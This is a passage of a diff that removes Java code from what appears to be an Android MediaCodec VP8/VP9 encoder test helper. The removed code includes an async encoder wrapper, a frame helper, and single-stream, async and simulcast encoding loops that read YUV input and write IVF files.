-                    long presentationTimeUsDelta = inPresentationTimeUs - outPresentationTimeUs;
-                    MediaCodec.BufferInfo bufferInfoCopy = new MediaCodec.BufferInfo();
-                    bufferInfoCopy.set((int)presentationTimeUsDelta, bufferInfo.size,
-                            outPresentationTimeUs, bufferInfo.flags);
-                    bufferInfos.add(bufferInfoCopy);
-                }
-                decoder.releaseOutputBuffer(outputBufIndex, false);
-            }
-        }
-        decoder.stop();
-        decoder.release();
-        ivf.close();
-        if (yuv != null) {
-            yuv.close();
-        }
-
-        return bufferInfos;
-    }
-
-
-    /**
-     * Helper function to return InputStream from either filename (if set)
-     * or resource id (if filename is not set).
-     */
-    private InputStream OpenFileOrResourceId(String filename, int resourceId) throws Exception {
-        if (filename != null) {
-            return new FileInputStream(filename);
-        }
-        return mResources.openRawResource(resourceId);
-    }
-
-    /**
-     * Results of frame encoding.
-     */
-    protected class MediaEncoderOutput {
-        public long inPresentationTimeUs;
-        public long outPresentationTimeUs;
-        public boolean outputGenerated;
-        public int flags;
-        public byte[] buffer;
-    }
-
-    protected class MediaEncoderAsyncHelper {
-        private final EncoderOutputStreamParameters mStreamParams;
-        private final CodecProperties mProperties;
-        private final ArrayList<MediaCodec.BufferInfo> mBufferInfos;
-        private final IvfWriter mIvf;
-        private final byte[] mSrcFrame;
-
-        private InputStream mYuvStream;
-        private int mInputFrameIndex;
-
-        MediaEncoderAsyncHelper(
-                EncoderOutputStreamParameters streamParams,
-                CodecProperties properties,
-                ArrayList<MediaCodec.BufferInfo> bufferInfos,
-                IvfWriter ivf)
-                throws Exception {
-            mStreamParams = streamParams;
-            mProperties = properties;
-            mBufferInfos = bufferInfos;
-            mIvf = ivf;
-
-            int srcFrameSize = streamParams.frameWidth * streamParams.frameHeight * 3 / 2;
-            mSrcFrame = new byte[srcFrameSize];
-
-            mYuvStream = OpenFileOrResourceId(
-                    streamParams.inputYuvFilename, streamParams.inputResourceId);
-        }
-
-        public byte[] getInputFrame() {
-            // Check EOS
-            if (mStreamParams.frameCount == 0
-                    || (mStreamParams.frameCount > 0
-                            && mInputFrameIndex >= mStreamParams.frameCount)) {
-                Log.d(TAG, "---Sending EOS empty frame for frame # " + mInputFrameIndex);
-                return null;
-            }
-
-            try {
-                int bytesRead = mYuvStream.read(mSrcFrame);
-
-                if (bytesRead == -1) {
-                    // rewind to beginning of file
-                    mYuvStream.close();
-                    mYuvStream = OpenFileOrResourceId(
-                            mStreamParams.inputYuvFilename, mStreamParams.inputResourceId);
-                    bytesRead = mYuvStream.read(mSrcFrame);
-                }
-            } catch (Exception e) {
-                Log.e(TAG, "Failed to read YUV file.");
-                return null;
-            }
-            mInputFrameIndex++;
-
-            // Convert YUV420 to NV12 if necessary
-            if (mProperties.colorFormat != CodecCapabilities.COLOR_FormatYUV420Planar) {
-                return YUV420ToNV(mStreamParams.frameWidth, mStreamParams.frameHeight,
-                        mSrcFrame);
-            } else {
-                return mSrcFrame;
-            }
-        }
-
-        public boolean saveOutputFrame(MediaEncoderOutput out) {
-            if (out.outputGenerated) {
-                if (out.buffer.length > 0) {
-                    // Save frame
-                    try {
-                        mIvf.writeFrame(out.buffer, out.outPresentationTimeUs);
-                    } catch (Exception e) {
-                        Log.d(TAG, "Failed to write frame");
-                        return true;
-                    }
-
-                    // Update statistics - store presentation time delay in offset
-                    long presentationTimeUsDelta = out.inPresentationTimeUs -
-                            out.outPresentationTimeUs;
-                    MediaCodec.BufferInfo bufferInfoCopy = new MediaCodec.BufferInfo();
-                    bufferInfoCopy.set((int)presentationTimeUsDelta, out.buffer.length,
-                            out.outPresentationTimeUs, out.flags);
-                    mBufferInfos.add(bufferInfoCopy);
-                }
-                // Detect output EOS
-                if ((out.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                    Log.d(TAG, "----Output EOS ");
-                    return true;
-                }
-            }
-            return false;
-        }
-    }
-
-    /**
-     * Video encoder wrapper class.
-     * Allows to run the encoder either in a callee's thread or in a looper thread
-     * using buffer dequeue ready notification callbacks.
-     *
-     * Function feedInput() is used to send raw video frame to the encoder input. When encoder
-     * is configured to run in async mode the function will run in a looper thread.
-     * Encoded frame can be retrieved by calling getOutput() function.
-     */
-    protected class MediaEncoderAsync extends Thread {
-        private int mId;
-        private MediaCodecWrapper mCodec;
-        private ByteBuffer[] mInputBuffers;
-        private ByteBuffer[] mOutputBuffers;
-        private int mInputFrameIndex;
-        private int mOutputFrameIndex;
-        private int mInputBufIndex;
-        private int mFrameRate;
-        private long mTimeout;
-        private MediaCodec.BufferInfo mBufferInfo;
-        private long mInPresentationTimeUs;
-        private long mOutPresentationTimeUs;
-        private boolean mAsync;
-        // Flag indicating if input frame was consumed by the encoder in feedInput() call.
-        private boolean mConsumedInput;
-        // Result of frame encoding returned by getOutput() call.
-        private MediaEncoderOutput mOutput;
-        // Object used to signal that looper thread has started and Handler instance associated
-        // with looper thread has been allocated.
-        private final Object mThreadEvent = new Object();
-        // Object used to signal that MediaCodec buffer dequeue notification callback
-        // was received.
-        private final Object mCallbackEvent = new Object();
-        private Handler mHandler;
-        private boolean mCallbackReceived;
-        private MediaEncoderAsyncHelper mHelper;
-        private final Object mCompletionEvent = new Object();
-        private boolean mCompleted;
-
-        private MediaCodec.Callback mCallback = new MediaCodec.Callback() {
-            @Override
-            public void onInputBufferAvailable(MediaCodec codec, int index) {
-                if (mHelper == null) {
-                    Log.e(TAG, "async helper not available");
-                    return;
-                }
-
-                byte[] encFrame = mHelper.getInputFrame();
-                boolean inputEOS = (encFrame == null);
-
-                int encFrameLength = 0;
-                int flags = 0;
-                if (inputEOS) {
-                    flags = MediaCodec.BUFFER_FLAG_END_OF_STREAM;
-                } else {
-                    encFrameLength = encFrame.length;
-
-                    ByteBuffer byteBuffer = mCodec.getInputBuffer(index);
-                    byteBuffer.put(encFrame);
-                    byteBuffer.rewind();
-
-                    mInPresentationTimeUs = (mInputFrameIndex * 1000000) / mFrameRate;
-
-                    Log.v(TAG, "Enc" + mId + ". Frame in # " + mInputFrameIndex +
-                            ". InTime: " + (mInPresentationTimeUs + 500)/1000);
-
-                    mInputFrameIndex++;
-                }
-
-                mCodec.queueInputBuffer(
-                        index,
-                        0,  // offset
-                        encFrameLength,  // size
-                        mInPresentationTimeUs,
-                        flags);
-            }
-
-            @Override
-            public void onOutputBufferAvailable(MediaCodec codec,
-                    int index, MediaCodec.BufferInfo info) {
-                if (mHelper == null) {
-                    Log.e(TAG, "async helper not available");
-                    return;
-                }
-
-                MediaEncoderOutput out = new MediaEncoderOutput();
-
-                out.buffer = new byte[info.size];
-                ByteBuffer outputBuffer = mCodec.getOutputBuffer(index);
-                outputBuffer.get(out.buffer, 0, info.size);
-                mOutPresentationTimeUs = info.presentationTimeUs;
-
-                String logStr = "Enc" + mId + ". Frame # " + mOutputFrameIndex;
-                if ((info.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) != 0) {
-                    logStr += " CONFIG. ";
-                }
-                if ((info.flags & MediaCodec.BUFFER_FLAG_SYNC_FRAME) != 0) {
-                    logStr += " KEY. ";
-                }
-                if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                    logStr += " EOS. ";
-                }
-                logStr += " Size: " + info.size;
-                logStr += ". InTime: " + (mInPresentationTimeUs + 500)/1000 +
-                        ". OutTime: " + (mOutPresentationTimeUs + 500)/1000;
-                Log.v(TAG, logStr);
-
-                if (mOutputFrameIndex == 0 &&
-                        ((info.flags & MediaCodec.BUFFER_FLAG_SYNC_FRAME) == 0) ) {
-                    throw new RuntimeException("First frame is not a sync frame.");
-                }
-
-                if (info.size > 0) {
-                    mOutputFrameIndex++;
-                    out.inPresentationTimeUs = mInPresentationTimeUs;
-                    out.outPresentationTimeUs = mOutPresentationTimeUs;
-                }
-                mCodec.releaseOutputBuffer(index, false);
-
-                out.flags = info.flags;
-                out.outputGenerated = true;
-
-                if (mHelper.saveOutputFrame(out)) {
-                    // output EOS
-                    signalCompletion();
-                }
-            }
-
-            @Override
-            public void onError(MediaCodec codec, CodecException e) {
-                Log.e(TAG, "onError: " + e
-                        + ", transient " + e.isTransient()
-                        + ", recoverable " + e.isRecoverable()
-                        + ", error " + e.getErrorCode());
-            }
-
-            @Override
-            public void onOutputFormatChanged(MediaCodec codec, MediaFormat format) {
-                Log.i(TAG, "onOutputFormatChanged: " + format.toString());
-            }
-        };
-
-        private synchronized void requestStart() throws Exception {
-            mHandler = null;
-            start();
-            // Wait for Hander allocation
-            synchronized (mThreadEvent) {
-                while (mHandler == null) {
-                    mThreadEvent.wait();
-                }
-            }
-        }
-
-        public void setAsyncHelper(MediaEncoderAsyncHelper helper) {
-            mHelper = helper;
-        }
-
-        @Override
-        public void run() {
-            Looper.prepare();
-            synchronized (mThreadEvent) {
-                mHandler = new Handler();
-                mThreadEvent.notify();
-            }
-            Looper.loop();
-        }
-
-        private void runCallable(final Callable<?> callable) throws Exception {
-            if (mAsync) {
-                final Exception[] exception = new Exception[1];
-                final CountDownLatch countDownLatch = new CountDownLatch(1);
-                mHandler.post( new Runnable() {
-                    @Override
-                    public void run() {
-                        try {
-                            callable.call();
-                        } catch (Exception e) {
-                            exception[0] = e;
-                        } finally {
-                            countDownLatch.countDown();
-                        }
-                    }
-                } );
-
-                // Wait for task completion
-                countDownLatch.await();
-                if (exception[0] != null) {
-                    throw exception[0];
-                }
-            } else {
-                callable.call();
-            }
-        }
-
-        private synchronized void requestStop() throws Exception {
-            mHandler.post( new Runnable() {
-                @Override
-                public void run() {
-                    // This will run on the Looper thread
-                    Log.v(TAG, "MediaEncoder looper quitting");
-                    Looper.myLooper().quitSafely();
-                }
-            } );
-            // Wait for completion
-            join();
-            mHandler = null;
-        }
-
-        private void createCodecInternal(final String name,
-                final MediaFormat format, final long timeout, boolean useNdk) throws Exception {
-            mBufferInfo = new MediaCodec.BufferInfo();
-            mFrameRate = format.getInteger(MediaFormat.KEY_FRAME_RATE);
-            mTimeout = timeout;
-            mInputFrameIndex = 0;
-            mOutputFrameIndex = 0;
-            mInPresentationTimeUs = 0;
-            mOutPresentationTimeUs = 0;
-
-            if (useNdk) {
-                mCodec = new NdkMediaCodec(name);
-            } else {
-                mCodec = new SdkMediaCodec(MediaCodec.createByCodecName(name), mAsync);
-            }
-            if (mAsync) {
-                mCodec.setCallback(mCallback);
-            }
-            mCodec.configure(format, MediaCodec.CONFIGURE_FLAG_ENCODE);
-            mCodec.start();
-
-            // get the cached input/output only in sync mode
-            if (!mAsync) {
-                mInputBuffers = mCodec.getInputBuffers();
-                mOutputBuffers = mCodec.getOutputBuffers();
-            }
-        }
-
-        public void createCodec(int id, final String name, final MediaFormat format,
-                final long timeout, boolean async, final boolean useNdk)  throws Exception {
-            mId = id;
-            mAsync = async;
-            if (mAsync) {
-                requestStart(); // start looper thread
-            }
-            runCallable( new Callable<Void>() {
-                @Override
-                public Void call() throws Exception {
-                    createCodecInternal(name, format, timeout, useNdk);
-                    return null;
-                }
-            } );
-        }
-
-        private void feedInputInternal(final byte[] encFrame, final boolean inputEOS) {
-            mConsumedInput = false;
-            // Feed input
-            mInputBufIndex = mCodec.dequeueInputBuffer(mTimeout);
-
-            if (mInputBufIndex >= 0) {
-                ByteBuffer inputBuffer = mCodec.getInputBuffer(mInputBufIndex);
-                inputBuffer.clear();
-                inputBuffer.put(encFrame);
-                inputBuffer.rewind();
-                int encFrameLength = encFrame.length;
-                int flags = 0;
-                if (inputEOS) {
-                    encFrameLength = 0;
-                    flags = MediaCodec.BUFFER_FLAG_END_OF_STREAM;
-                }
-                if (!inputEOS) {
-                    Log.v(TAG, "Enc" + mId + ". Frame in # " + mInputFrameIndex +
-                            ". InTime: " + (mInPresentationTimeUs + 500)/1000);
-                    mInPresentationTimeUs = (mInputFrameIndex * 1000000) / mFrameRate;
-                    mInputFrameIndex++;
-                }
-
-                mCodec.queueInputBuffer(
-                        mInputBufIndex,
-                        0,  // offset
-                        encFrameLength,  // size
-                        mInPresentationTimeUs,
-                        flags);
-
-                mConsumedInput = true;
-            } else {
-                Log.v(TAG, "In " + mId + " - TRY_AGAIN_LATER");
-            }
-            mCallbackReceived = false;
-        }
-
-        public boolean feedInput(final byte[] encFrame, final boolean inputEOS) throws Exception {
-            runCallable( new Callable<Void>() {
-                @Override
-                public Void call() throws Exception {
-                    feedInputInternal(encFrame, inputEOS);
-                    return null;
-                }
-            } );
-            return mConsumedInput;
-        }
-
-        private void getOutputInternal() {
-            mOutput = new MediaEncoderOutput();
-            mOutput.inPresentationTimeUs = mInPresentationTimeUs;
-            mOutput.outPresentationTimeUs = mOutPresentationTimeUs;
-            mOutput.outputGenerated = false;
-
-            // Get output from the encoder
-            int result = mCodec.dequeueOutputBuffer(mBufferInfo, mTimeout);
-            while (result == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED ||
-                    result == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
-                if (result == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
-                    mOutputBuffers = mCodec.getOutputBuffers();
-                } else if (result == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
-                    Log.d(TAG, "Format changed: " + mCodec.getOutputFormatString());
-                }
-                result = mCodec.dequeueOutputBuffer(mBufferInfo, mTimeout);
-            }
-            if (result == MediaCodec.INFO_TRY_AGAIN_LATER) {
-                Log.v(TAG, "Out " + mId + " - TRY_AGAIN_LATER");
-            }
-
-            if (result >= 0) {
-                int outputBufIndex = result;
-                mOutput.buffer = new byte[mBufferInfo.size];
-                ByteBuffer outputBuffer = mCodec.getOutputBuffer(outputBufIndex);
-                outputBuffer.position(mBufferInfo.offset);
-                outputBuffer.get(mOutput.buffer, 0, mBufferInfo.size);
-                mOutPresentationTimeUs = mBufferInfo.presentationTimeUs;
-
-                String logStr = "Enc" + mId + ". Frame # " + mOutputFrameIndex;
-                if ((mBufferInfo.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) != 0) {
-                    logStr += " CONFIG. ";
-                }
-                if ((mBufferInfo.flags & MediaCodec.BUFFER_FLAG_SYNC_FRAME) != 0) {
-                    logStr += " KEY. ";
-                }
-                if ((mBufferInfo.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                    logStr += " EOS. ";
-                }
-                logStr += " Size: " + mBufferInfo.size;
-                logStr += ". InTime: " + (mInPresentationTimeUs + 500)/1000 +
-                        ". OutTime: " + (mOutPresentationTimeUs + 500)/1000;
-                Log.v(TAG, logStr);
-                if (mOutputFrameIndex == 0 &&
-                        ((mBufferInfo.flags & MediaCodec.BUFFER_FLAG_SYNC_FRAME) == 0) ) {
-                    throw new RuntimeException("First frame is not a sync frame.");
-                }
-
-                if (mBufferInfo.size > 0) {
-                    mOutputFrameIndex++;
-                    mOutput.outPresentationTimeUs = mOutPresentationTimeUs;
-                }
-                mCodec.releaseOutputBuffer(outputBufIndex, false);
-
-                mOutput.flags = mBufferInfo.flags;
-                mOutput.outputGenerated = true;
-            }
-            mCallbackReceived = false;
-        }
-
-        public MediaEncoderOutput getOutput() throws Exception {
-            runCallable( new Callable<Void>() {
-                @Override
-                public Void call() throws Exception {
-                    getOutputInternal();
-                    return null;
-                }
-            } );
-            return mOutput;
-        }
-
-        public void forceSyncFrame() throws Exception {
-            final Bundle syncFrame = new Bundle();
-            syncFrame.putInt(MediaCodec.PARAMETER_KEY_REQUEST_SYNC_FRAME, 0);
-            runCallable( new Callable<Void>() {
-                @Override
-                public Void call() throws Exception {
-                    mCodec.setParameters(syncFrame);
-                    return null;
-                }
-            } );
-        }
-
-        public void updateBitrate(int bitrate) throws Exception {
-            final Bundle bitrateUpdate = new Bundle();
-            bitrateUpdate.putInt(MediaCodec.PARAMETER_KEY_VIDEO_BITRATE, bitrate);
-            runCallable( new Callable<Void>() {
-                @Override
-                public Void call() throws Exception {
-                    mCodec.setParameters(bitrateUpdate);
-                    return null;
-                }
-            } );
-        }
-
-
-        public void waitForBufferEvent() throws Exception {
-            Log.v(TAG, "----Enc" + mId + " waiting for bufferEvent");
-            if (mAsync) {
-                synchronized (mCallbackEvent) {
-                    if (!mCallbackReceived) {
-                        mCallbackEvent.wait(1000); // wait 1 sec for a callback
-                        // throw an exception if callback was not received
-                        if (!mCallbackReceived) {
-                            throw new RuntimeException("MediaCodec callback was not received");
-                        }
-                    }
-                }
-            } else {
-                Thread.sleep(5);
-            }
-            Log.v(TAG, "----Waiting for bufferEvent done");
-        }
-
-
-        public void waitForCompletion(long timeoutMs) throws Exception {
-            synchronized (mCompletionEvent) {
-                long timeoutExpiredMs = System.currentTimeMillis() + timeoutMs;
-
-                while (!mCompleted) {
-                    mCompletionEvent.wait(timeoutExpiredMs - System.currentTimeMillis());
-                    if (System.currentTimeMillis() >= timeoutExpiredMs) {
-                        throw new RuntimeException("encoding has timed out!");
-                    }
-                }
-            }
-        }
-
-        public void signalCompletion() {
-            synchronized (mCompletionEvent) {
-                mCompleted = true;
-                mCompletionEvent.notify();
-            }
-        }
-
-        public void deleteCodec() throws Exception {
-            runCallable( new Callable<Void>() {
-                @Override
-                public Void call() throws Exception {
-                    mCodec.stop();
-                    mCodec.release();
-                    return null;
-                }
-            } );
-            if (mAsync) {
-                requestStop(); // Stop looper thread
-            }
-        }
-    }
-
-    /**
-     * Vpx encoding loop supporting encoding single streams with an option
-     * to run in a looper thread and use buffer ready notification callbacks.
-     *
-     * Output stream is described by encodingParams parameters.
-     *
-     * MediaCodec will raise an IllegalStateException
-     * whenever vpx encoder fails to encode a frame.
-     *
-     * Color format of input file should be YUV420, and frameWidth,
-     * frameHeight should be supplied correctly as raw input file doesn't
-     * include any header data.
-     *
-     * @param streamParams  Structure with encoder parameters
-     * @return              Returns array of encoded frames information for each frame.
-     */
-    protected ArrayList<MediaCodec.BufferInfo> encode(
-            EncoderOutputStreamParameters streamParams) throws Exception {
-
-        ArrayList<MediaCodec.BufferInfo> bufferInfos = new ArrayList<MediaCodec.BufferInfo>();
-        Log.d(TAG, "Source resolution: "+streamParams.frameWidth + " x " +
-                streamParams.frameHeight);
-        int bitrate = streamParams.bitrateSet[0];
-
-        // Create minimal media format signifying desired output.
-        MediaFormat format = MediaFormat.createVideoFormat(
-                streamParams.codecMimeType, streamParams.frameWidth,
-                streamParams.frameHeight);
-        format.setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
-        CodecProperties properties = getVpxCodecProperties(
-                true, format, streamParams.forceGoogleEncoder);
-        if (properties == null) {
-            return null;
-        }
-
-        // Open input/output
-        InputStream yuvStream = OpenFileOrResourceId(
-                streamParams.inputYuvFilename, streamParams.inputResourceId);
-        IvfWriter ivf = new IvfWriter(
-                streamParams.outputIvfFilename, streamParams.codecMimeType,
-                streamParams.frameWidth, streamParams.frameHeight);
-
-        // Create a media format signifying desired output.
-        if (streamParams.bitrateType == VIDEO_ControlRateConstant) {
-            format.setInteger("bitrate-mode", VIDEO_ControlRateConstant); // set CBR
-        }
-        if (streamParams.temporalLayers > 0) {
-            format.setInteger("ts-layers", streamParams.temporalLayers); // 1 temporal layer
-        }
-        format.setInteger(MediaFormat.KEY_COLOR_FORMAT, properties.colorFormat);
-        format.setInteger(MediaFormat.KEY_FRAME_RATE, streamParams.frameRate);
-        int syncFrameInterval = (streamParams.syncFrameInterval + streamParams.frameRate/2) /
-                streamParams.frameRate;
-        format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, syncFrameInterval);
-
-        // Create encoder
-        Log.d(TAG, "Creating encoder " + properties.codecName +
-                ". Color format: 0x" + Integer.toHexString(properties.colorFormat)+ " : " +
-                streamParams.frameWidth + " x " + streamParams.frameHeight +
-                ". Bitrate: " + bitrate + " Bitrate type: " + streamParams.bitrateType +
-                ". Fps:" + streamParams.frameRate + ". TS Layers: " + streamParams.temporalLayers +
-                ". Key frame:" + syncFrameInterval * streamParams.frameRate +
-                ". Force keyFrame: " + streamParams.syncForceFrameInterval);
-        Log.d(TAG, "  Format: " + format);
-        Log.d(TAG, "  Output ivf:" + streamParams.outputIvfFilename);
-        MediaEncoderAsync codec = new MediaEncoderAsync();
-        codec.createCodec(0, properties.codecName, format,
-                streamParams.timeoutDequeue, streamParams.runInLooperThread, streamParams.useNdk);
-
-        // encode loop
-        boolean sawInputEOS = false;  // no more data
-        boolean consumedInputEOS = false; // EOS flag is consumed dy encoder
-        boolean sawOutputEOS = false;
-        boolean inputConsumed = true;
-        int inputFrameIndex = 0;
-        int lastBitrate = bitrate;
-        int srcFrameSize = streamParams.frameWidth * streamParams.frameHeight * 3 / 2;
-        byte[] srcFrame = new byte[srcFrameSize];
-
-        while (!sawOutputEOS) {
-
-            // Read and feed input frame
-            if (!consumedInputEOS) {
-
-                // Read new input buffers - if previous input was consumed and no EOS
-                if (inputConsumed && !sawInputEOS) {
-                    int bytesRead = yuvStream.read(srcFrame);
-
-                    // Check EOS
-                    if (streamParams.frameCount > 0 && inputFrameIndex >= streamParams.frameCount) {
-                        sawInputEOS = true;
-                        Log.d(TAG, "---Sending EOS empty frame for frame # " + inputFrameIndex);
-                    }
-
-                    if (!sawInputEOS && bytesRead == -1) {
-                        if (streamParams.frameCount == 0) {
-                            sawInputEOS = true;
-                            Log.d(TAG, "---Sending EOS empty frame for frame # " + inputFrameIndex);
-                        } else {
-                            yuvStream.close();
-                            yuvStream = OpenFileOrResourceId(
-                                    streamParams.inputYuvFilename, streamParams.inputResourceId);
-                            bytesRead = yuvStream.read(srcFrame);
-                        }
-                    }
-
-                    // Force sync frame if syncForceFrameinterval is set.
-                    if (!sawInputEOS && inputFrameIndex > 0 &&
-                            streamParams.syncForceFrameInterval > 0 &&
-                            (inputFrameIndex % streamParams.syncForceFrameInterval) == 0) {
-                        Log.d(TAG, "---Requesting sync frame # " + inputFrameIndex);
-                        codec.forceSyncFrame();
-                    }
-
-                    // Dynamic bitrate change.
-                    if (!sawInputEOS && streamParams.bitrateSet.length > inputFrameIndex) {
-                        int newBitrate = streamParams.bitrateSet[inputFrameIndex];
-                        if (newBitrate != lastBitrate) {
-                            Log.d(TAG, "--- Requesting new bitrate " + newBitrate +
-                                    " for frame " + inputFrameIndex);
-                            codec.updateBitrate(newBitrate);
-                            lastBitrate = newBitrate;
-                        }
-                    }
-
-                    // Convert YUV420 to NV12 if necessary
-                    if (properties.colorFormat != CodecCapabilities.COLOR_FormatYUV420Planar) {
-                        srcFrame = YUV420ToNV(streamParams.frameWidth, streamParams.frameHeight,
-                                srcFrame);
-                    }
-                }
-
-                inputConsumed = codec.feedInput(srcFrame, sawInputEOS);
-                if (inputConsumed) {
-                    inputFrameIndex++;
-                    consumedInputEOS = sawInputEOS;
-                }
-            }
-
-            // Get output from the encoder
-            MediaEncoderOutput out = codec.getOutput();
-            if (out.outputGenerated) {
-                // Detect output EOS
-                if ((out.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                    Log.d(TAG, "----Output EOS ");
-                    sawOutputEOS = true;
-                }
-
-                if (out.buffer.length > 0) {
-                    // Save frame
-                    ivf.writeFrame(out.buffer, out.outPresentationTimeUs);
-
-                    // Update statistics - store presentation time delay in offset
-                    long presentationTimeUsDelta = out.inPresentationTimeUs -
-                            out.outPresentationTimeUs;
-                    MediaCodec.BufferInfo bufferInfoCopy = new MediaCodec.BufferInfo();
-                    bufferInfoCopy.set((int)presentationTimeUsDelta, out.buffer.length,
-                            out.outPresentationTimeUs, out.flags);
-                    bufferInfos.add(bufferInfoCopy);
-                }
-            }
-
-            // If codec is not ready to accept input/poutput - wait for buffer ready callback
-            if ((!inputConsumed || consumedInputEOS) && !out.outputGenerated) {
-                codec.waitForBufferEvent();
-            }
-        }
-
-        codec.deleteCodec();
-        ivf.close();
-        yuvStream.close();
-
-        return bufferInfos;
-    }
-
-    /**
-     * Vpx encoding run in a looper thread and use buffer ready callbacks.
-     *
-     * Output stream is described by encodingParams parameters.
-     *
-     * MediaCodec will raise an IllegalStateException
-     * whenever vpx encoder fails to encode a frame.
-     *
-     * Color format of input file should be YUV420, and frameWidth,
-     * frameHeight should be supplied correctly as raw input file doesn't
-     * include any header data.
-     *
-     * @param streamParams  Structure with encoder parameters
-     * @return              Returns array of encoded frames information for each frame.
-     */
-    protected ArrayList<MediaCodec.BufferInfo> encodeAsync(
-            EncoderOutputStreamParameters streamParams) throws Exception {
-        if (!streamParams.runInLooperThread) {
-            throw new RuntimeException("encodeAsync should run with a looper thread!");
-        }
-
-        ArrayList<MediaCodec.BufferInfo> bufferInfos = new ArrayList<MediaCodec.BufferInfo>();
-        Log.d(TAG, "Source resolution: "+streamParams.frameWidth + " x " +
-                streamParams.frameHeight);
-        int bitrate = streamParams.bitrateSet[0];
-
-        // Create minimal media format signifying desired output.
-        MediaFormat format = MediaFormat.createVideoFormat(
-                streamParams.codecMimeType, streamParams.frameWidth,
-                streamParams.frameHeight);
-        format.setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
-        CodecProperties properties = getVpxCodecProperties(
-                true, format, streamParams.forceGoogleEncoder);
-        if (properties == null) {
-            return null;
-        }
-
-        // Open input/output
-        IvfWriter ivf = new IvfWriter(
-                streamParams.outputIvfFilename, streamParams.codecMimeType,
-                streamParams.frameWidth, streamParams.frameHeight);
-
-        // Create a media format signifying desired output.
-        if (streamParams.bitrateType == VIDEO_ControlRateConstant) {
-            format.setInteger("bitrate-mode", VIDEO_ControlRateConstant); // set CBR
-        }
-        if (streamParams.temporalLayers > 0) {
-            format.setInteger("ts-layers", streamParams.temporalLayers); // 1 temporal layer
-        }
-        format.setInteger(MediaFormat.KEY_COLOR_FORMAT, properties.colorFormat);
-        format.setInteger(MediaFormat.KEY_FRAME_RATE, streamParams.frameRate);
-        int syncFrameInterval = (streamParams.syncFrameInterval + streamParams.frameRate/2) /
-                streamParams.frameRate;
-        format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, syncFrameInterval);
-
-        // Create encoder
-        Log.d(TAG, "Creating encoder " + properties.codecName +
-                ". Color format: 0x" + Integer.toHexString(properties.colorFormat)+ " : " +
-                streamParams.frameWidth + " x " + streamParams.frameHeight +
-                ". Bitrate: " + bitrate + " Bitrate type: " + streamParams.bitrateType +
-                ". Fps:" + streamParams.frameRate + ". TS Layers: " + streamParams.temporalLayers +
-                ". Key frame:" + syncFrameInterval * streamParams.frameRate +
-                ". Force keyFrame: " + streamParams.syncForceFrameInterval);
-        Log.d(TAG, "  Format: " + format);
-        Log.d(TAG, "  Output ivf:" + streamParams.outputIvfFilename);
-
-        MediaEncoderAsync codec = new MediaEncoderAsync();
-        MediaEncoderAsyncHelper helper = new MediaEncoderAsyncHelper(
-                streamParams, properties, bufferInfos, ivf);
-
-        codec.setAsyncHelper(helper);
-        codec.createCodec(0, properties.codecName, format,
-                streamParams.timeoutDequeue, streamParams.runInLooperThread, streamParams.useNdk);
-        codec.waitForCompletion(DEFAULT_ENCODE_TIMEOUT_MS);
-
-        codec.deleteCodec();
-        ivf.close();
-
-        return bufferInfos;
-    }
-
-    /**
-     * Vpx encoding loop supporting encoding multiple streams at a time.
-     * Each output stream is described by encodingParams parameters allowing
-     * simultaneous encoding of various resolutions, bitrates with an option to
-     * control key frame and dynamic bitrate for each output stream indepandently.
-     *
-     * MediaCodec will raise an IllegalStateException
-     * whenever vpx encoder fails to encode a frame.
-     *
-     * Color format of input file should be YUV420, and frameWidth,
-     * frameHeight should be supplied correctly as raw input file doesn't
-     * include any header data.
-     *
-     * @param srcFrameWidth     Frame width of input yuv file
-     * @param srcFrameHeight    Frame height of input yuv file
-     * @param encodingParams    Encoder parameters
-     * @return                  Returns 2D array of encoded frames information for each stream and
-     *                          for each frame.
-     */
-    protected ArrayList<ArrayList<MediaCodec.BufferInfo>> encodeSimulcast(
-            int srcFrameWidth,
-            int srcFrameHeight,
-            ArrayList<EncoderOutputStreamParameters> encodingParams)  throws Exception {
-        int numEncoders = encodingParams.size();
-
-        // Create arrays of input/output, formats, bitrates etc
-        ArrayList<ArrayList<MediaCodec.BufferInfo>> bufferInfos =
-                new ArrayList<ArrayList<MediaCodec.BufferInfo>>(numEncoders);
-        InputStream yuvStream[] = new InputStream[numEncoders];
-        IvfWriter[] ivf = new IvfWriter[numEncoders];
-        FileOutputStream[] yuvScaled = new FileOutputStream[numEncoders];
-        MediaFormat[] format = new MediaFormat[numEncoders];
-        MediaEncoderAsync[] codec = new MediaEncoderAsync[numEncoders];
-        int[] inputFrameIndex = new int[numEncoders];
-        boolean[] sawInputEOS = new boolean[numEncoders];
-        boolean[] consumedInputEOS = new boolean[numEncoders];
-        boolean[] inputConsumed = new boolean[numEncoders];
-        boolean[] bufferConsumed = new boolean[numEncoders];
-        boolean[] sawOutputEOS = new boolean[numEncoders];
-        byte[][] srcFrame = new byte[numEncoders][];
-        boolean sawOutputEOSTotal = false;
-        boolean bufferConsumedTotal = false;
-        CodecProperties[] codecProperties = new CodecProperties[numEncoders];
-
-        numEncoders = 0;
-        for (EncoderOutputStreamParameters params : encodingParams) {
-            int i = numEncoders;
-            Log.d(TAG, "Source resolution: " + params.frameWidth + " x " +
-                    params.frameHeight);
-            int bitrate = params.bitrateSet[0];
-
-            // Create minimal media format signifying desired output.
-            format[i] = MediaFormat.createVideoFormat(
-                    params.codecMimeType, params.frameWidth,
-                    params.frameHeight);
-            format[i].setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
-            CodecProperties properties = getVpxCodecProperties(
-                    true, format[i], params.forceGoogleEncoder);
-            if (properties == null) {
-                continue;
-            }
-
-            // Check if scaled image was created
-            int scale = params.frameWidth / srcFrameWidth;
-            if (!mScaledImages.contains(scale)) {
-                // resize image
-                cacheScaledImage(params.inputYuvFilename, params.inputResourceId,
-                        srcFrameWidth, srcFrameHeight,
